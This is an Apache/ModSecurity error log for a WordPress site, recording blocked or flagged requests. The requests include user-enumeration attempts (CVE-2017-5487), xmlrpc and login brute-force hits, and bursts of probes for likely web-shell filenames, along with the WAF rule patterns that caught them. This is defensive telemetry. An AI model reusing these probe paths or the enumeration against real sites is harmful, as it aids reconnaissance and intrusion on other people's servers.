[Wed Apr 01 21:23:18.699598 2026] [:error] [pid 62559:tid 62564] [client 103.28.116.233:26000] [client 103.28.116.233] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ac0cRi7NKI8IaNKZFIemKQAAAUM"]
[Wed Apr 01 21:24:55.105880 2026] [:error] [pid 62559:tid 62576] [client 103.28.116.233:20909] [client 103.28.116.233] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.28.116.233, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac0cpy7NKI8IaNKZFIemtQAAAU8"]
[Thu Apr 02 00:06:44.244922 2026] [:error] [pid 62559:tid 62572] [client 43.153.35.128:48656] [client 43.153.35.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac1ClC7NKI8IaNKZFIcZzQAAAUs"]
[Thu Apr 02 00:58:33.266912 2026] [:error] [pid 16761:tid 16781] [client 161.178.3.105:50354] [client 161.178.3.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.178.3.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ac1Oud4bJXDGRqKZnzwTGwAAAFE"]
[Thu Apr 02 01:46:32.819471 2026] [:error] [pid 8037:tid 8130] [client 177.94.194.237:63918] [client 177.94.194.237] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ac1Z-IGD8ox-W9jHVfDGwQAAARY"]
[Thu Apr 02 01:48:22.761414 2026] [:error] [pid 8036:tid 8076] [client 177.94.194.237:56245] [client 177.94.194.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.94.194.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac1aZkMvKg9PFa_VV4zhiAAAAMA"]
[Thu Apr 02 01:49:28.298999 2026] [:error] [pid 16761:tid 16787] [client 161.178.3.105:54332] [client 161.178.3.105] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 161.178.3.105, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ac1aqN4bJXDGRqKZnzw4dAAAAFc"]
[Thu Apr 02 01:49:42.424768 2026] [:error] [pid 8036:tid 8084] [client 177.94.194.237:57412] [client 177.94.194.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.94.194.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac1atkMvKg9PFa_VV4zhswAAAMg"]
[Thu Apr 02 01:50:47.178009 2026] [:error] [pid 8037:tid 8125] [client 177.94.194.237:58305] [client 177.94.194.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.94.194.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac1a94GD8ox-W9jHVfDH1gAAARE"]
[Thu Apr 02 03:26:33.870588 2026] [:error] [pid 59200:tid 59246] [client 192.227.231.190:59824] [client 192.227.231.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac1xabfP26txrdLs3ErTDQAAAEY"], referer: https://www.google.com/search?q=aspx
[Thu Apr 02 06:19:26.452843 2026] [:error] [pid 59194:tid 59227] [client 101.33.66.34:60228] [client 101.33.66.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac2Z7hMpAeV11hcQehzgCAAAAA4"]
[Thu Apr 02 07:09:54.034913 2026] [:error] [pid 29467:tid 29470] [client 20.240.45.211:15703] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2lwr4VUBFCJAq-WOk3qgAAAQA"]
[Thu Apr 02 07:09:54.563791 2026] [:error] [pid 23927:tid 23941] [client 20.240.45.211:40865] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2lwksZwqCndhl9uKBjwwAAAYw"]
[Thu Apr 02 07:09:55.093110 2026] [:error] [pid 59201:tid 59279] [client 20.240.45.211:23932] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2lw8AC0Tw8eL6gzZ6TiwAAAIw"]
[Thu Apr 02 07:09:55.622398 2026] [:error] [pid 59200:tid 59256] [client 20.240.45.211:30234] [client 20.240.45.211] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac2lw7fP26txrdLs3EoGYgAAAFA"]
[Thu Apr 02 11:05:56.840508 2026] [:error] [pid 29467:tid 29487] [client 43.135.133.241:34318] [client 43.135.133.241] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac3dFL4VUBFCJAq-WOmAYgAAARE"]
[Thu Apr 02 11:32:23.206655 2026] [:error] [pid 23927:tid 23951] [client 43.155.157.239:55518] [client 43.155.157.239] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac3jR0sZwqCndhl9uKDeFwAAAZY"]
[Thu Apr 02 13:02:40.813897 2026] [autoindex:error] [pid 59305:tid 59329] [client 144.91.97.142:49559] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Thu Apr 02 13:14:24.522856 2026] [:error] [pid 54384:tid 54396] [client 24.77.77.1:12749] [client 24.77.77.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.77.77.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac37MNWWpaby3TVN7MeOXAAAAco"]
[Thu Apr 02 15:57:42.172830 2026] [:error] [pid 29467:tid 29471] [client 43.173.1.57:40630] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ac4hdr4VUBFCJAq-WOnQPAAAAQE"]
[Thu Apr 02 16:36:34.368798 2026] [:error] [pid 29467:tid 29473] [client 172.213.211.100:50542] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dtwpf.php"] [unique_id "ac4qkr4VUBFCJAq-WOnp0QAAAQM"]
[Thu Apr 02 16:36:34.923538 2026] [:error] [pid 59200:tid 59251] [client 172.213.211.100:39410] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-upload.php"] [unique_id "ac4qkrfP26txrdLs3EpNFQAAAEs"]
[Thu Apr 02 16:36:35.395048 2026] [:error] [pid 59305:tid 59315] [client 172.213.211.100:43629] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-upload.php"] [unique_id "ac4qk6r2tV4rDwKFxKcdmAAAAMY"]
[Thu Apr 02 16:36:35.862969 2026] [:error] [pid 59200:tid 59258] [client 172.213.211.100:33179] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-upload.php"] [unique_id "ac4qk7fP26txrdLs3EpNFgAAAFI"]
[Thu Apr 02 16:36:36.330225 2026] [:error] [pid 29467:tid 29474] [client 172.213.211.100:26014] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ac4qlL4VUBFCJAq-WOnp1wAAAQQ"]
[Thu Apr 02 16:36:36.796397 2026] [:error] [pid 59194:tid 59215] [client 172.213.211.100:48844] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ac4qlBMpAeV11hcQehwhXAAAAAI"]
[Thu Apr 02 16:36:37.286335 2026] [:error] [pid 59201:tid 59277] [client 172.213.211.100:51158] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ac4qlcAC0Tw8eL6gzZ7smQAAAIo"]
[Thu Apr 02 16:36:37.753249 2026] [:error] [pid 59194:tid 59225] [client 172.213.211.100:38686] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa1.php"] [unique_id "ac4qlRMpAeV11hcQehwhXwAAAAw"]
[Thu Apr 02 16:36:38.219312 2026] [:error] [pid 59194:tid 59230] [client 172.213.211.100:50552] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/torsa.php"] [unique_id "ac4qlhMpAeV11hcQehwhYgAAABE"]
[Thu Apr 02 16:36:38.840377 2026] [:error] [pid 59305:tid 59330] [client 172.213.211.100:22780] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "ac4qlqr2tV4rDwKFxKcdmQAAANU"]
[Thu Apr 02 16:36:39.304736 2026] [:error] [pid 59305:tid 59329] [client 172.213.211.100:43581] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "ac4ql6r2tV4rDwKFxKcdmgAAANQ"]
[Thu Apr 02 16:36:39.772059 2026] [:error] [pid 29467:tid 29475] [client 172.213.211.100:54949] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "ac4ql74VUBFCJAq-WOnp2gAAAQU"]
[Thu Apr 02 16:36:40.250056 2026] [:error] [pid 29467:tid 29472] [client 172.213.211.100:51152] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "ac4qmL4VUBFCJAq-WOnp3QAAAQI"]
[Thu Apr 02 16:36:40.760107 2026] [:error] [pid 29467:tid 29487] [client 172.213.211.100:51164] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55.php"] [unique_id "ac4qmL4VUBFCJAq-WOnp3wAAARE"]
[Thu Apr 02 16:36:41.228798 2026] [:error] [pid 29467:tid 29483] [client 172.213.211.100:39416] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55.php"] [unique_id "ac4qmb4VUBFCJAq-WOnp4gAAAQ0"]
[Thu Apr 02 16:36:41.696436 2026] [:error] [pid 29467:tid 29492] [client 172.213.211.100:38688] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/55.php"] [unique_id "ac4qmb4VUBFCJAq-WOnp4wAAARY"]
[Thu Apr 02 16:36:42.244265 2026] [:error] [pid 29467:tid 29484] [client 172.213.211.100:49966] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "ac4qmr4VUBFCJAq-WOnp5gAAAQ4"]
[Thu Apr 02 16:36:42.709727 2026] [:error] [pid 37543:tid 37560] [client 172.213.211.100:54916] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "ac4qmnhdk2bEYJCvILakEQAAAU8"]
[Thu Apr 02 16:36:43.174265 2026] [:error] [pid 29467:tid 29488] [client 172.213.211.100:49927] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "ac4qm74VUBFCJAq-WOnp6gAAARI"]
[Thu Apr 02 16:36:43.646004 2026] [:error] [pid 59194:tid 59233] [client 172.213.211.100:26023] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lupo.php"] [unique_id "ac4qmxMpAeV11hcQehwhZgAAABQ"]
[Thu Apr 02 16:36:44.119066 2026] [:error] [pid 59305:tid 59319] [client 172.213.211.100:25588] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ianmg.php"] [unique_id "ac4qnKr2tV4rDwKFxKcdnwAAAMo"]
[Thu Apr 02 16:40:22.859104 2026] [:error] [pid 29467:tid 29484] [client 43.153.96.79:59912] [client 43.153.96.79] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ac4rdr4VUBFCJAq-WOnrbgAAAQ4"]
[Thu Apr 02 17:22:39.381511 2026] [:error] [pid 59201:tid 59280] [client 24.77.77.1:11403] [client 24.77.77.1] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "ac41X8AC0Tw8eL6gzZ71YwAAAI0"]
[Thu Apr 02 17:23:50.324003 2026] [:error] [pid 59194:tid 59215] [client 24.77.77.1:12601] [client 24.77.77.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.77.77.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac41phMpAeV11hcQehwo5wAAAAI"]
[Thu Apr 02 17:24:48.939737 2026] [:error] [pid 29467:tid 29473] [client 24.77.77.1:13657] [client 24.77.77.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.77.77.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac414L4VUBFCJAq-WOkIGwAAAQM"]
[Thu Apr 02 17:25:52.508280 2026] [:error] [pid 23927:tid 23935] [client 24.77.77.1:9720] [client 24.77.77.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.77.77.1, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ac42IEsZwqCndhl9uKBtSwAAAYY"]
[Thu Apr 02 19:10:36.852832 2026] [:error] [pid 29467:tid 29470] [client 172.213.211.100:43552] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac5OrL4VUBFCJAq-WOlaHAAAAQA"]
[Thu Apr 02 19:10:37.323190 2026] [:error] [pid 29467:tid 29471] [client 172.213.211.100:20425] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac5Orb4VUBFCJAq-WOlaIQAAAQE"]
[Thu Apr 02 19:10:37.935004 2026] [:error] [pid 23927:tid 23939] [client 172.213.211.100:17114] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac5OrUsZwqCndhl9uKCb1gAAAYo"]
[Thu Apr 02 19:10:38.440078 2026] [:error] [pid 29467:tid 29489] [client 172.213.211.100:52197] [client 172.213.211.100] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ac5Orr4VUBFCJAq-WOlaLgAAARM"]
[Thu Apr 02 19:40:30.642340 2026] [:error] [pid 59201:tid 59289] [client 135.181.180.59:54554] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/24th%20slot.aspx"] [unique_id "ac5VrsAC0Tw8eL6gzZ4YGwAAAJY"]
